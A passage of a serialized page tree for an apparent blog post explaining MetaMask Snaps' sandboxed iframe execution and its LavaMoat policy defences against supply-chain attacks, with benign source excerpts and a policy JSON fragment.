async",{"type":23,"tag":75,"props":47207,"children":47208},{"style":94},[47209],{"type":29,"value":183},{"type":23,"tag":75,"props":47211,"children":47212},{"style":110},[47213],{"type":29,"value":47214},"snapId",{"type":23,"tag":75,"props":47216,"children":47217},{"style":209},[47218],{"type":29,"value":1018},{"type":23,"tag":75,"props":47220,"children":47221},{"style":104},[47222],{"type":29,"value":7308},{"type":23,"tag":75,"props":47224,"children":47225},{"style":94},[47226],{"type":29,"value":611},{"type":23,"tag":75,"props":47228,"children":47229},{"style":110},[47230],{"type":29,"value":3649},{"type":23,"tag":75,"props":47232,"children":47233},{"style":209},[47234],{"type":29,"value":1018},{"type":23,"tag":75,"props":47236,"children":47237},{"style":104},[47238],{"type":29,"value":47239}," SnapRpcHookArgs",{"type":23,"tag":75,"props":47241,"children":47242},{"style":94},[47243],{"type":29,"value":167},{"type":23,"tag":75,"props":47245,"children":47246},{"style":82},[47247],{"type":29,"value":47248},"=>\n",{"type":23,"tag":75,"props":47250,"children":47251},{"class":77,"line":161},[47252,47257,47261,47266,47270,47274,47278,47282],{"type":23,"tag":75,"props":47253,"children":47254},{"style":82},[47255],{"type":29,"value":47256},"    this",{"type":23,"tag":75,"props":47258,"children":47259},{"style":94},[47260],{"type":29,"value":557},{"type":23,"tag":75,"props":47262,"children":47263},{"style":88},[47264],{"type":29,"value":47265},"handleRpcRequest",{"type":23,"tag":75,"props":47267,"children":47268},{"style":94},[47269],{"type":29,"value":643},{"type":23,"tag":75,"props":47271,"children":47272},{"style":110},[47273],{"type":29,"value":47214},{"type":23,"tag":75,"props":47275,"children":47276},{"style":94},[47277],{"type":29,"value":611},{"type":23,"tag":75,"props":47279,"children":47280},{"style":110},[47281],{"type":29,"value":3649},{"type":23,"tag":75,"props":47283,"children":47284},{"style":94},[47285],{"type":29,"value":1792},{"type":23,"tag":75,"props":47287,"children":47288},{"class":77,"line":196},[47289],{"type":23,"tag":75,"props":47290,"children":47291},{"style":94},[47292],{"type":29,"value":15099},{"type":23,"tag":75,"props":47294,"children":47295},{"class":77,"line":220},[47296],{"type":23,"tag":75,"props":47297,"children":47298},{"emptyLinePlaceholder":15},[47299],{"type":29,"value":276},{"type":23,"tag":75,"props":47301,"children":47302},{"class":77,"line":248},[47303],{"type":23,"tag":75,"props":47304,"children":47305},{"style":3621},[47306],{"type":29,"value":47307},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":75,"props":47309,"children":47310},{"class":77,"line":270},[47311],{"type":23,"tag":75,"props":47312,"children":47313},{"style":3621},[47314],{"type":29,"value":46830},{"type":23,"tag":75,"props":47316,"children":47317},{"class":77,"line":279},[47318],{"type":23,"tag":75,"props":47319,"children":47320},{"emptyLinePlaceholder":15},[47321],{"type":29,"value":276},{"type":23,"tag":75,"props":47323,"children":47324},{"class":77,"line":303},[47325],{"type":23,"tag":75,"props":47326,"children":47327},{"style":3621},[47328],{"type":29,"value":47329},"// Execute a snap\n",{"type":23,"tag":75,"props":47331,"children":47332},{"class":77,"line":322},[47333,47338,47343,47347,47352,47356,47361],{"type":23,"tag":75,"props":47334,"children":47335},{"style":110},[47336],{"type":29,"value":47337},"async",{"type":23,"tag":75,"props":47339,"children":47340},{"style":88},[47341],{"type":29,"value":47342}," executeSnap",{"type":23,"tag":75,"props":47344,"children":47345},{"style":94},[47346],{"type":29,"value":643},{"type":23,"tag":75,"props":47348,"children":47349},{"style":110},[47350],{"type":29,"value":47351},"snapData",{"type":23,"tag":75,"props":47353,"children":47354},{"style":94},[47355],{"type":29,"value":863},{"type":23,"tag":75,"props":47357,"children":47358},{"style":110},[47359],{"type":29,"value":47360},"SnapExecutionData",{"type":23,"tag":75,"props":47362,"children":47363},{"style":94},[47364],{"type":29,"value":193},{"type":23,"tag":75,"props":47366,"children":47367},{"class":77,"line":340},[47368],{"type":23,"tag":75,"props":47369,"children":47370},{"style":3621},[47371],{"type":29,"value":47372},"  // Initialize job, streams, and environment\n",{"type":23,"tag":75,"props":47374,"children":47375},{"class":77,"line":349},[47376,47381,47385,47390,47395,47399,47404,47408,47412,47417,47421,47425],{"type":23,"tag":75,"props":47377,"children":47378},{"style":82},[47379],{"type":29,"value":47380},"  const",{"type":23,"tag":75,"props":47382,"children":47383},{"style":94},[47384],{"type":29,"value":20837},{"type":23,"tag":75,"props":47386,"children":47387},{"style":110},[47388],{"type":29,"value":47389},"jobId",{"type":23,"tag":75,"props":47391,"children":47392},{"style":94},[47393],{"type":29,"value":47394}," } ",{"type":23,"tag":75,"props":47396,"children":47397},{"style":209},[47398],{"type":29,"value":212},{"type":23,"tag":75,"props":47400,"children":47401},{"style":175},[47402],{"type":29,"value":47403}," await",{"type":23,"tag":75,"props":47405,"children":47406},{"style":82},[47407],{"type":29,"value":46910},{"type":23,"tag":75,"props":47409,"children":47410},{"style":94},[47411],{"type":29,"value":557},{"type":23,"tag":75,"props":47413,"children":47414},{"style":88},[47415],{"type":29,"value":47416},"initJob",{"type":23,"tag":75,"props":47418,"children":47419},{"style":94},[47420],{"type":29,"value":643},{"type":23,"tag":75,"props":47422,"children":47423},{"style":110},[47424],{"type":29,"value":47351},{"type":23,"tag":75,"props":47426,"children":47427},{"style":94},[47428],{"type":29,"value":15099},{"type":23,"tag":75,"props":47430,"children":47431},{"class":77,"line":363},[47432,47436,47440,47445,47449,47454,47458,47462,47466,47470,47474,47479,47483,47487],{"type":23,"tag":75,"props":47433,"children":47434},{"style":82},[47435],{"type":29,"value":47380},{"type":23,"tag":75,"props":47437,"children":47438},{"style":94},[47439],{"type":29,"value":20837},{"type":23,"tag":75,"props":47441,"children":47442},{"style":110},[47443],{"type":29,"value":47444},"worker",{"type":23,"tag":75,"props":47446,"children":47447},{"style":94},[47448],{"type":29,"value":611},{"type":23,"tag":75,"props":47450,"children":47451},{"style":110},[47452],{"type":29,"value":47453},"stream",{"type":23,"tag":75,"props":47455,"children":47456},{"style":94},[47457],{"type":29,"value":47394},{"type":23,"tag":75,"props":47459,"children":47460},{"style":209},[47461],{"type":29,"value":212},{"type":23,"tag":75,"props":47463,"children":47464},{"style":175},[47465],{"type":29,"value":47403},{"type":23,"tag":75,"props":47467,"children":47468},{"style":82},[47469],{"type":29,"value":46910},{"type":23,"tag":75,"props":47471,"children":47472},{"style":94},[47473],{"type":29,"value":557},{"type":23,"tag":75,"props":47475,"children":47476},{"style":88},[47477],{"type":29,"value":47478},"initEnvStream",{"type":23,"tag":75,"props":47480,"children":47481},{"style":94},[47482],{"type":29,"value":643},{"type":23,"tag":75,"props":47484,"children":47485},{"style":110},[47486],{"type":29,"value":47389},{"type":23,"tag":75,"props":47488,"children":47489},{"style":94},[47490],{"type":29,"value":15099},{"type":23,"tag":75,"props":47492,"children":47493},{"class":77,"line":656},[47494],{"type":23,"tag":75,"props":47495,"children":47496},{"style":3621},[47497],{"type":29,"value":47498},"  // ...\n",{"type":23,"tag":75,"props":47500,"children":47501},{"class":77,"line":705},[47502],{"type":23,"tag":75,"props":47503,"children":47504},{"style":94},[47505],{"type":29,"value":369},{"type":23,"tag":32,"props":47507,"children":47508},{},[47509,47510,47515,47517,47523],{"type":29,"value":2846},{"type":23,"tag":71,"props":47511,"children":47513},{"className":47512},[],[47514],{"type":29,"value":47087},{"type":29,"value":47516}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":71,"props":47518,"children":47520},{"className":47519},[],[47521],{"type":29,"value":47522},"${controllerName}:executeSnap",{"type":29,"value":47524}," handler triggers the snap execution process.",{"type":23,"tag":30116,"props":47526,"children":47528},{"id":47527},"step-by-step-execution-from-initialization-to-iframe-creation",[47529,47531],{"type":29,"value":47530},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":940,"props":47532,"children":47535},{"href":47533,"rel":47534},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[944],[47536],{"type":29,"value":47537},"creation",{"type":23,"tag":64,"props":47539,"children":47541},{"className":47124,"code":47540,"language":47126,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[47542],{"type":23,"tag":71,"props":47543,"children":47544},{"__ignoreMap":7},[47545,47594,47615,47636,47644,47708,47715,47743,47760,47777,47794,47811,47818,47825,47849],{"type":23,"tag":75,"props":47546,"children":47547},{"class":77,"line":78},[47548,47553,47558,47563,47567,47571,47575,47579,47584,47589],{"type":23,"tag":75,"props":47549,"children":47550},{"style":110},[47551],{"type":29,"value":47552},"protected",{"type":23,"tag":75,"props":47554,"children":47555},{"style":110},[47556],{"type":29,"value":47557}," async",{"type":23,"tag":75,"props":47559,"children":47560},{"style":88},[47561],{"type":29,"value":47562}," initEnvStream",{"type":23,"tag":75,"props":47564,"children":47565},{"style":94},[47566],{"type":29,"value":643},{"type":23,"tag":75,"props":47568,"children":47569},{"style":110},[47570],{"type":29,"value":47389},{"type":23,"tag":75,"props":47572,"children":47573},{"style":94},[47574],{"type":29,"value":863},{"type":23,"tag":75,"props":47576,"children":47577},{"style":110},[47578],{"type":29,"value":1605},{"type":23,"tag":75,"props":47580,"children":47581},{"style":94},[47582],{"type":29,"value":47583},"): ",{"type":23,"tag":75,"props":47585,"children":47586},{"style":104},[47587],{"type":29,"value":47588},"Promise",{"type":23,"tag":75,"props":47590,"children":47591},{"style":94},[47592],{"type":29,"value":47593},"\u003C{\n",{"type":23,"tag":75,"props":47595,"children":47596},{"class":77,"line":100},[47597,47602,47606,47611],{"type":23,"tag":75,"props":47598,"children":47599},{"style":110},[47600],{"type":29,"value":47601},"    worker",{"type":23,"tag":75,"props":47603,"children":47604},{"style":209},[47605],{"type":29,"value":1018},{"type":23,"tag":75,"props":47607,"children":47608},{"style":104},[47609],{"type":29,"value":47610}," Window",{"type":23,"tag":75,"props":47612,"children":47613},{"style":94},[47614],{"type":29,"value":245},{"type":23,"tag":75,"props":47616,"children":47617},{"class":77,"line":121},[47618,47623,47627,47632],{"type":23,"tag":75,"props":47619,"children":47620},{"style":110},[47621],{"type":29,"value":47622},"    stream",{"type":23,"tag":75,"props":47624,"children":47625},{"style":209},[47626],{"type":29,"value":1018},{"type":23,"tag":75,"props":47628,"children":47629},{"style":104},[47630],{"type":29,"value":47631}," BasePostMessageStream",{"type":23,"tag":75,"props":47633,"children":47634},{"style":94},[47635],{"type":29,"value":245},{"type":23,"tag":75,"props":47637,"children":47638},{"class":77,"line":138},[47639],{"type":23,"tag":75,"props":47640,"children":47641},{"style":94},[47642],{"type":29,"value":47643},"  }> {\n",{"type":23,"tag":75,"props":47645,"children":47646},{"class":77,"line":161},[47647,47652,47657,47661,47665,47670,47674,47678,47682,47687,47691,47696,47700,47704],{"type":23,"tag":75,"props":47648,"children":47649},{"style":94},[47650],{"type":29,"value":47651},"    const ",{"type":23,"tag":75,"props":47653,"children":47654},{"style":110},[47655],{"type":29,"value":47656},"iframeWindow",{"type":23,"tag":75,"props":47658,"children":47659},{"style":209},[47660],{"type":29,"value":1193},{"type":23,"tag":75,"props":47662,"children":47663},{"style":175},[47664],{"type":29,"value":47403},{"type":23,"tag":75,"props":47666,"children":47667},{"style":88},[47668],{"type":29,"value":47669}," createWindow",{"type":23,"tag":75,"props":47671,"children":47672},{"style":94},[47673],{"type":29,"value":643},{"type":23,"tag":75,"props":47675,"children":47676},{"style":82},[47677],{"type":29,"value":947},{"type":23,"tag":75,"props":47679,"children":47680},{"style":94},[47681],{"type":29,"value":557},{"type":23,"tag":75,"props":47683,"children":47684},{"style":110},[47685],{"type":29,"value":47686},"iframeUrl",{"type":23,"tag":75,"props":47688,"children":47689},{"style":94},[47690],{"type":29,"value":557},{"type":23,"tag":75,"props":47692,"children":47693},{"style":88},[47694],{"type":29,"value":47695},"toString",{"type":23,"tag":75,"props":47697,"children":47698},{"style":94},[47699],{"type":29,"value":1471},{"type":23,"tag":75,"props":47701,"children":47702},{"style":110},[47703],{"type":29,"value":47389},{"type":23,"tag":75,"props":47705,"children":47706},{"style":94},[47707],{"type":29,"value":15099},{"type":23,"tag":75,"props":47709,"children":47710},{"class":77,"line":196},[47711],{"type":23,"tag":75,"props":47712,"children":47713},{"emptyLinePlaceholder":15},[47714],{"type":29,"value":276},{"type":23,"tag":75,"props":47716,"children":47717},{"class":77,"line":220},[47718,47722,47726,47730,47734,47739],{"type":23,"tag":75,"props":47719,"children":47720},{"style":94},[47721],{"type":29,"value":47651},{"type":23,"tag":75,"props":47723,"children":47724},{"style":110},[47725],{"type":29,"value":47453},{"type":23,"tag":75,"props":47727,"children":47728},{"style":209},[47729],{"type":29,"value":1193},{"type":23,"tag":75,"props":47731,"children":47732},{"style":82},[47733],{"type":29,"value":43128},{"type":23,"tag":75,"props":47735,"children":47736},{"style":88},[47737],{"type":29,"value":47738}," WindowPostMessageStream",{"type":23,"tag":75,"props":47740,"children":47741},{"style":94},[47742],{"type":29,"value":26371},{"type":23,"tag":75,"props":47744,"children":47745},{"class":77,"line":248},[47746,47751,47756],{"type":23,"tag":75,"props":47747,"children":47748},{"style":110},[47749],{"type":29,"value":47750},"      name:",{"type":23,"tag":75,"props":47752,"children":47753},{"style":1266},[47754],{"type":29,"value":47755}," 'parent'",{"type":23,"tag":75,"props":47757,"children":47758},{"style":94},[47759],{"type":29,"value":118},{"type":23,"tag":75,"props":47761,"children":47762},{"class":77,"line":270},[47763,47768,47773],{"type":23,"tag":75,"props":47764,"children":47765},{"style":110},[47766],{"type":29,"value":47767},"      target:",{"type":23,"tag":75,"props":47769,"children":47770},{"style":1266},[47771],{"type":29,"value":47772}," 'child'",{"type":23,"tag":75,"props":47774,"children":47775},{"style":94},[47776],{"type":29,"value":118},{"type":23,"tag":75,"props":47778,"children":47779},{"class":77,"line":279},[47780,47785,47790],{"type":23,"tag":75,"props":47781,"children":47782},{"style":110},[47783],{"type":29,"value":47784},"      targetWindow:",{"type":23,"tag":75,"props":47786,"children":47787},{"style":110},[47788],{"type":29,"value":47789}," iframeWindow",{"type":23,"tag":75,"props":47791,"children":47792},{"style":94},[47793],{"type":29,"value":118},{"type":23,"tag":75,"props":47795,"children":47796},{"class":77,"line":303},[47797,47802,47807],{"type":23,"tag":75,"props":47798,"children":47799},{"style":110},[47800],{"type":29,"value":47801},"      targetOrigin:",{"type":23,"tag":75,"props":47803,"children":47804},{"style":1266},[47805],{"type":29,"value":47806}," '*'",{"type":23,"tag":75,"props":47808,"children":47809},{"style":94},[47810],{"type":29,"value":118},{"type":23,"tag":75,"props":47812,"children":47813},{"class":77,"line":322},[47814],{"type":23,"tag":75,"props":47815,"children":47816},{"style":94},[47817],{"type":29,"value":43452},{"type":23,"tag":75,"props":47819,"children":47820},{"class":77,"line":340},[47821],{"type":23,"tag":75,"props":47822,"children":47823},{"emptyLinePlaceholder":15},[47824],{"type":29,"value":276},{"type":23,"tag":75,"props":47826,"children":47827},{"class":77,"line":349},[47828,47833,47837,47841,47845],{"type":23,"tag":75,"props":47829,"children":47830},{"style":94},[47831],{"type":29,"value":47832},"    return { worker: ",{"type":23,"tag":75,"props":47834,"children":47835},{"style":110},[47836],{"type":29,"value":47656},{"type":23,"tag":75,"props":47838,"children":47839},{"style":94},[47840],{"type":29,"value":611},{"type":23,"tag":75,"props":47842,"children":47843},{"style":110},[47844],{"type":29,"value":47453},{"type":23,"tag":75,"props":47846,"children":47847},{"style":94},[47848],{"type":29,"value":29522},{"type":23,"tag":75,"props":47850,"children":47851},{"class":77,"line":363},[47852],{"type":23,"tag":75,"props":47853,"children":47854},{"style":94},[47855],{"type":29,"value":17141},{"type":23,"tag":32,"props":47857,"children":47858},{},[47859,47861,47867,47869,47876],{"type":29,"value":47860},"Here the iframe is created via ",{"type":23,"tag":71,"props":47862,"children":47864},{"className":47863},[],[47865],{"type":29,"value":47866},"createWindow",{"type":29,"value":47868},", which is defined in snaps-utils ",{"type":23,"tag":940,"props":47870,"children":47873},{"href":47871,"rel":47872},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[944],[47874],{"type":29,"value":47875},"package",{"type":29,"value":1018},{"type":23,"tag":64,"props":47878,"children":47880},{"className":47124,"code":47879,"language":47126,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[47881],{"type":23,"tag":71,"props":47882,"children":47883},{"__ignoreMap":7},[47884,47927,47965,48002,48009,48029,48067,48074,48111],{"type":23,"tag":75,"props":47885,"children":47886},{"class":77,"line":78},[47887,47891,47896,47900,47905,47909,47914,47918,47923],{"type":23,"tag":75,"props":47888,"children":47889},{"style":82},[47890],{"type":29,"value":2869},{"type":23,"tag":75,"props":47892,"children":47893},{"style":110},[47894],{"type":29,"value":47895}," iframe",{"type":23,"tag":75,"props":47897,"children":47898},{"style":209},[47899],{"type":29,"value":1193},{"type":23,"tag":75,"props":47901,"children":47902},{"style":110},[47903],{"type":29,"value":47904}," document",{"type":23,"tag":75,"props":47906,"children":47907},{"style":94},[47908],{"type":29,"value":557},{"type":23,"tag":75,"props":47910,"children":47911},{"style":88},[47912],{"type":29,"value":47913},"createElement",{"type":23,"tag":75,"props":47915,"children":47916},{"style":94},[47917],{"type":29,"value":643},{"type":23,"tag":75,"props":47919,"children":47920},{"style":1266},[47921],{"type":29,"value":47922},"'iframe'",{"type":23,"tag":75,"props":47924,"children":47925},{"style":94},[47926],{"type":29,"value":15099},{"type":23,"tag":75,"props":47928,"children":47929},{"class":77,"line":100},[47930,47935,47939,47944,47948,47953,47957,47961],{"type":23,"tag":75,"props":47931,"children":47932},{"style":110},[47933],{"type":29,"value":47934},"    iframe",{"type":23,"tag":75,"props":47936,"children":47937},{"style":94},[47938],{"type":29,"value":557},{"type":23,"tag":75,"props":47940,"children":47941},{"style":88},[47942],{"type":29,"value":47943},"setAttribute",{"type":23,"tag":75,"props":47945,"children":47946},{"style":94},[47947],{"type":29,"value":643},{"type":23,"tag":75,"props":47949,"children":47950},{"style":1266},[47951],{"type":29,"value":47952},"'id'",{"type":23,"tag":75,"props":47954,"children":47955},{"style":94},[47956],{"type":29,"value":611},{"type":23,"tag":75,"props":47958,"children":47959},{"style":110},[47960],{"type":29,"value":14761},{"type":23,"tag":75,"props":47962,"children":47963},{"style":94},[47964],{"type":29,"value":15099},{"type":23,"tag":75,"props":47966,"children":47967},{"class":77,"line":121},[47968,47972,47976,47980,47984,47989,47993,47998],{"type":23,"tag":75,"props":47969,"children":47970},{"style":110},[47971],{"type":29,"value":47934},{"type":23,"tag":75,"props":47973,"children":47974},{"style":94},[47975],{"type":29,"value":557},{"type":23,"tag":75,"props":47977,"children":47978},{"style":88},[47979],{"type":29,"value":47943},{"type":23,"tag":75,"props":47981,"children":47982},{"style":94},[47983],{"type":29,"value":643},{"type":23,"tag":75,"props":47985,"children":47986},{"style":1266},[47987],{"type":29,"value":47988},"'data-testid'",{"type":23,"tag":75,"props":47990,"children":47991},{"style":94},[47992],{"type":29,"value":611},{"type":23,"tag":75,"props":47994,"children":47995},{"style":1266},[47996],{"type":29,"value":47997},"'snaps-iframe'",{"type":23,"tag":75,"props":47999,"children":48000},{"style":94},[48001],{"type":29,"value":15099},{"type":23,"tag":75,"props":48003,"children":48004},{"class":77,"line":138},[48005],{"type":23,"tag":75,"props":48006,"children":48007},{"emptyLinePlaceholder":15},[48008],{"type":29,"value":276},{"type":23,"tag":75,"props":48010,"children":48011},{"class":77,"line":161},[48012,48016,48020,48025],{"type":23,"tag":75,"props":48013,"children":48014},{"style":175},[48015],{"type":29,"value":1363},{"type":23,"tag":75,"props":48017,"children":48018},{"style":94},[48019],{"type":29,"value":183},{"type":23,"tag":75,"props":48021,"children":48022},{"style":110},[48023],{"type":29,"value":48024},"sandbox",{"type":23,"tag":75,"props":48026,"children":48027},{"style":94},[48028],{"type":29,"value":193},{"type":23,"tag":75,"props":48030,"children":48031},{"class":77,"line":196},[48032,48037,48041,48045,48049,48054,48058,48063],{"type":23,"tag":75,"props":48033,"children":48034},{"style":110},[48035],{"type":29,"value":48036},"      iframe",{"type":23,"tag":75,"props":48038,"children":48039},{"style":94},[48040],{"type":29,"value":557},{"type":23,"tag":75,"props":48042,"children":48043},{"style":88},[48044],{"type":29,"value":47943},{"type":23,"tag":75,"props":48046,"children":48047},{"style":94},[48048],{"type":29,"value":643},{"type":23,"tag":75,"props":48050,"children":48051},{"style":1266},[48052],{"type":29,"value":48053},"'sandbox'",{"type":23,"tag":75,"props":48055,"children":48056},{"style":94},[48057],{"type":29,"value":611},{"type":23,"tag":75,"props":48059,"children":48060},{"style":1266},[48061],{"type":29,"value":48062},"'allow-scripts'",{"type":23,"tag":75,"props":48064,"children":48065},{"style":94},[48066],{"type":29,"value":15099},{"type":23,"tag":75,"props":48068,"children":48069},{"class":77,"line":220},[48070],{"type":23,"tag":75,"props":48071,"children":48072},{"style":94},[48073],{"type":29,"value":346},{"type":23,"tag":75,"props":48075,"children":48076},{"class":77,"line":248},[48077,48081,48085,48089,48093,48098,48102,48107],{"type":23,"tag":75,"props":48078,"children":48079},{"style":110},[48080],{"type":29,"value":47934},{"type":23,"tag":75,"props":48082,"children":48083},{"style":94},[48084],{"type":29,"value":557},{"type":23,"tag":75,"props":48086,"children":48087},{"style":88},[48088],{"type":29,"value":47943},{"type":23,"tag":75,"props":48090,"children":48091},{"style":94},[48092],{"type":29,"value":643},{"type":23,"tag":75,"props":48094,"children":48095},{"style":1266},[48096],{"type":29,"value":48097},"'src'",{"type":23,"tag":75,"props":48099,"children":48100},{"style":94},[48101],{"type":29,"value":611},{"type":23,"tag":75,"props":48103,"children":48104},{"style":110},[48105],{"type":29,"value":48106},"uri",{"type":23,"tag":75,"props":48108,"children":48109},{"style":94},[48110],{"type":29,"value":15099},{"type":23,"tag":75,"props":48112,"children":48113},{"class":77,"line":270},[48114,48118,48122,48126,48130,48135,48139,48144],{"type":23,"tag":75,"props":48115,"children":48116},{"style":110},[48117],{"type":29,"value":45867},{"type":23,"tag":75,"props":48119,"children":48120},{"style":94},[48121],{"type":29,"value":557},{"type":23,"tag":75,"props":48123,"children":48124},{"style":110},[48125],{"type":29,"value":43593},{"type":23,"tag":75,"props":48127,"children":48128},{"style":94},[48129],{"type":29,"value":557},{"type":23,"tag":75,"props":48131,"children":48132},{"style":88},[48133],{"type":29,"value":48134},"appendChild",{"type":23,"tag":75,"props":48136,"children":48137},{"style":94},[48138],{"type":29,"value":643},{"type":23,"tag":75,"props":48140,"children":48141},{"style":110},[48142],{"type":29,"value":48143},"iframe",{"type":23,"tag":75,"props":48145,"children":48146},{"style":94},[48147],{"type":29,"value":15099},{"type":23,"tag":32,"props":48149,"children":48150},{},[48151],{"type":29,"value":48152},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":923,"props":48154,"children":48156},{"id":48155},"lavamoat-against-supply-chain-attacks-layer-2",[48157],{"type":29,"value":48158},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":32,"props":48160,"children":48161},{},[48162],{"type":29,"value":48163},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":32,"props":48165,"children":48166},{},[48167,48169,48175],{"type":29,"value":48168},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":71,"props":48170,"children":48172},{"className":48171},[],[48173],{"type":29,"value":48174},"fs",{"type":29,"value":48176},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":32,"props":48178,"children":48179},{},[48180],{"type":29,"value":48181},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":32,"props":48183,"children":48184},{},[48185,48187,48194],{"type":29,"value":48186},"This is how a Policy file related to the iframes ",{"type":23,"tag":940,"props":48188,"children":48191},{"href":48189,"rel":48190},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[944],[48192],{"type":29,"value":48193},"looks",{"type":29,"value":1018},{"type":23,"tag":64,"props":48196,"children":48198},{"className":45189,"code":48197,"language":45191,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[48199],{"type":23,"tag":71,"props":48200,"children":48201},{"__ignoreMap":7},[48202,48215,48227,48247,48267,48287,48307,48327,48347,48367,48384,48392,48404,48424,48440,48447],{"type":23,"tag":75,"props":48203,"children":48204},{"class":77,"line":78},[48205,48210],{"type":23,"tag":75,"props":48206,"children":48207},{"style":1266},[48208],{"type":29,"value":48209},"\"@metamask/post-message-stream\"",{"type":23,"tag":75,"props":48211,"children":48212},{"style":94},[48213],{"type":29,"value":48214},": {\n",{"type":23,"tag":75,"props":48216,"children":48217},{"class":77,"line":100},[48218,48223],{"type":23,"tag":75,"props":48219,"children":48220},{"style":110},[48221],{"type":29,"value":48222},"      \"globals\"",{"type":23,"tag":75,"props":48224,"children":48225},{"style":94},[48226],{"type":29,"value":48214},{"type":23,"tag":75,"props":48228,"children":48229},{"class":77,"line":121},[48230,48235,48239,48243],{"type":23,"tag":75,"props":48231,"children":48232},{"style":110},[48233],{"type":29,"value":48234},"        \"MessageEvent.prototype\"",{"type":23,"tag":75,"props":48236,"children":48237},{"style":94},[48238],{"type":29,"value":863},{"type":23,"tag":75,"props":48240,"children":48241},{"style":82},[48242],{"type":29,"value":15268},{"type":23,"tag":75,"props":48244,"children":48245},{"style":94},[48246],{"type":29,"value":118},{"type":23,"tag":75,"props":48248,"children":48249},{"class":77,"line":138},[48250,48255,48259,48263],{"type":23,"tag":75,"props":48251,"children":48252},{"style":110},[48253],{"type":29,"value":48254},"        \"WorkerGlobalScope\"",{"type":23,"tag":75,"props":48256,"children":48257},{"style":94},[48258],{"type":29,"value":863},{"type":23,"tag":75,"props":48260,"children":48261},{"style":82},[48262],{"type":29,"value":15268},{"type":23,"tag":75,"props":48264,"children":48265},{"style":94},[48266],{"type":29,"value":118},{"type":23,"tag":75,"props":48268,"children":48269},{"class":77,"line":161},[48270,48275,48279,48283],{"type":23,"tag":75,"props":48271,"children":48272},{"style":110},[48273],{"type":29,"value":48274},"        \"addEventListener\"",{"type":23,"tag":75,"props":48276,"children":48277},{"style":94},[48278],{"type":29,"value":863},{"type":23,"tag":75,"props":48280,"children":48281},{"style":82},[48282],{"type":29,"value":15268},{"type":23,"tag":75,"props":48284,"children":48285},{"style":94},[48286],{"type":29,"value":118},{"type":23,"tag":75,"props":48288,"children":48289},{"class":77,"line":196},[48290,48295,48299,48303],{"type":23,"tag":75,"props":48291,"children":48292},{"style":110},[48293],{"type":29,"value":48294},"        \"browser\"",{"type":23,"tag":75,"props":48296,"children":48297},{"style":94},[48298],{"type":29,"value":863},{"type":23,"tag":75,"props":48300,"children":48301},{"style":82},[48302],{"type":29,"value":15268},{"type":23,"tag":75,"props":48304,"children":48305},{"style":94},[48306],{"type":29,"value":118},{"type":23,"tag":75,"props":48308,"children":48309},{"class":77,"line":220},[48310,48315,48319,48323],{"type":23,"tag":75,"props":48311,"children":48312},{"style":110},[48313],{"type":29,"value":48314},"        \"chrome\"",{"type":23,"tag":75,"props":48316,"children":48317},{"style":94},[48318],{"type":29,"value":863},{"type":23,"tag":75,"props":48320,"children":48321},{"style":82},[48322],{"type":29,"value":15268},{"type":23,"tag":75,"props":48324,"children":48325},{"style":94},[48326],{"type":29,"value":118},{"type":23,"tag":75,"props":48328,"children":48329},{"class":77,"line":248},[48330,48335,48339,48343],{"type":23,"tag":75,"props":48331,"children":48332},{"style":110},[48333],{"type":29,"value":48334},"        \"location.origin\"",{"type":23,"tag":75,"props":48336,"children":48337},{"style":94},[48338],{"type":29,"value":863},{"type":23,"tag":75,"props":48340,"children":48341},{"style":82},[48342],{"type":29,"value":15268},{"type":23,"tag":75,"props":48344,"children":48345},{"style":94},[48346],{"type":29,"value":118},{"type":23,"tag":75,"props":48348,"children":48349},{"class":77,"line":270},[48350,48355,48359,48363],{"type":23,"tag":75,"props":48351,"children":48352},{"style":110},[48353],{"type":29,"value":48354},"        \"postMessage\"",{"type":23,"tag":75,"props":48356,"children":48357},{"style":94},[48358],{"type":29,"value":863},{"type":23,"tag":75,"props":48360,"children":48361},{"style":82},[48362],{"type":29,"value":15268},{"type":23,"tag":75,"props":48364,"children":48365},{"style":94},[48366],{"type":29,"value":118},{"type":23,"tag":75,"props":48368,"children":48369},{"class":77,"line":279},[48370,48375,48379],{"type":23,"tag":75,"props":48371,"children":48372},{"style":110},[48373],{"type":29,"value":48374},"        